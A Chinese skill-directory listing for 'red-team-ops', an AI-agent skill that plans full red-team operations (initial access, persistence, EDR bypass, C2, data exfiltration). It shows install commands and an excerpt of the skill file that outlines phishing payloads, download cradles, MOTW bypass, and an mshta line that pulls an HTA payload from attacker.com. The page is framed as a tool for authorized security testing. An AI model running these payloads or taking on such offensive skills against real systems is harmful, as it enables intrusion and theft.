red-team-ops
仓库创建 2026年5月19日最近提交 24 天前SkillHot 收录 21 天前
▸ 精选理由
覆盖整个攻击生命周期与规避手段，适合模拟真实威胁评估。
▸ 风险提示
包含完整攻击链与规避策略，具有高度滥用与法律风险。
这个 Skill 做什么
规划并执行端到端红队行动，包括初始访问、持久化与数据外泄。
用于在授权范围内模拟高级威胁对防御能力做端到端演练，检验检测、响应和持久化场景的防护效果。适合安全团队做红队演习、应急演练或评估 SIEM/EDR 能力时启用。特色是覆盖攻击链各环节的演练计划与报告，但不提供可直接滥用的攻击代码或操作细节，必须在合法授权下使用。
▸ 展开 SKILL.md 英文原文
Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land
326
Stars
58
Forks
37
仓库内 Skill
+15
7 日增星
安装 / 使用
给你的 Agent 一句话（通用）
帮我安装这个 skill：https://raw.githubusercontent.com/hypnguyen1209/offensive-claude/main/skills/red-team-ops/SKILL.md或 curl 直取 SKILL.md
curl -fsSL "https://raw.githubusercontent.com/hypnguyen1209/offensive-claude/main/skills/red-team-ops/SKILL.md"SKILL.MD 节选查看完整文件 ↗
# Red Team Operations ## When to Activate - Simulating advanced persistent threat (APT) operations - Testing detection and response capabilities - Establishing persistent access and C2 - Evading EDR/AV/SIEM detection - Privilege escalation on compromised hosts - Data exfiltration planning ## Initial Access ### Phishing Payloads ```bash # Office macro (VBA) # - AutoOpen/Document_Open trigger # - Download cradle: PowerShell IEX or certutil # - Sandbox evasion: check domain join, user interaction delay # HTA (HTML Application) mshta http://attacker.com/payload.hta # ISO/IMG mounting (bypass MOTW) # Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL # OneNote (.one) with
via SKILL·HOT · 数据来自 GitHub 公开信息 · 原文版权归作者所有